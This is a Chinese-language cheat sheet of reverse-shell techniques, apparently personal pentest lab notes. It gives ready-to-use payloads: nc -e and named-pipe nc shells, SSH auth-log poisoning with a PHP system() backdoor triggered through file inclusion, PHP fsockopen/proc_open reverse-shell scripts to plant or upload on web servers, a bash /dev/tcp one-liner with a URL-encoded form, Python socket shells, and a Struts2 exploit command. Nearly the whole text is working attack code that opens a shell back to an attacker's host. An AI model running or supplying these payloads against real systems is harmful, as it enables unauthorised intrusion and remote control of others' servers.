反shell方法
shell 开启回显 python -c "import pty;pty.spawn('/bin/bash')"
方法一 利用nc完成反shell 适用webshell
适用于对方网页有webshell
-
kali先开启nc端口监听
nc -lvvp 监听端口
-
让对方电脑里的nc一启动就自动连接
/bin/nc -e /bin/bash 自己ip 监听的端口号
方法二 php利用登录日志植入反shell脚本 适用对方html语句有函数调用
-
F12查看是否有函数调用或者收集信息找到对方的用户名在url框php后门输入?+猜想的用户名=命令或文件+挨个试如果
如果元素页显示就说明有这个功能
-
使用var/log/auth.log查看日志
-
存在登录日志就在kali里执行ssh远程登录脚本
ssh '<?php system($_GET['用户名']);? >'@对方IP -p 对方ssh端口号
-
kali开启nc监听
nc -lvvp 端口号
-
在url里输入
(http://10.9.47.172(对方ip)/info.php?zc=/var/log/auth.log&xl(调用我方植入的函数)=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.47.187",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);')
-
就可以反shell
方法三 网页后台有php源码利用php反shell脚本
<?php $ip='10.9.47.187'; $port=10002; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); ?>
-
在网页的后台源码里放入这个脚本
-
在nc里开启脚本里的端口
-
在url框运行这个脚本
such as :themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/在此路径下写入php脚本然后再搜索框里运行
方法四 php文件上传反shell
- 上传php反shell脚本
php
<?php
$ip='kali IP';
$port=10002;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
上面不能用就用下面
php
<?php
$sock = fsockopen("10.4.7.3", "10002");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
-
在源代码中找到这个脚本复制链接在浏览器里打开就会运行此代码,kali开启nc监听就可以
方法五 最常用的bash -c 'bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1'
这是最常用的反shell
这个是url编码后的
bash±c+%27bash±i+%3e%26+%2fdev%2ftcp%2f自己ip%2f监听端口+0%3e%261%27
配合nc一起用
方法六 python shell
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.182.36",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.7.3",10002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
方法七管道通信
先在tmp下创建一个管道文件
mknod /tmp/文件名 p
在用shell命令连接
/bin/sh 0</tmp/文件名 | nc ip port 1>/tmp/文件名
示例
python2 exploit.py "http://192.168.182.64:8080/struts2-showcase/showcase.action" "/bin/sh 0</tmp/gd | nc 192.168.182.36 10002 1>/tmp/gd"
http://192.168.182.64:8080/struts2-showcase/showcase.action" "/bin/sh 0</tmp/gd | nc 192.168.182.36 10002 1>/tmp/gd"`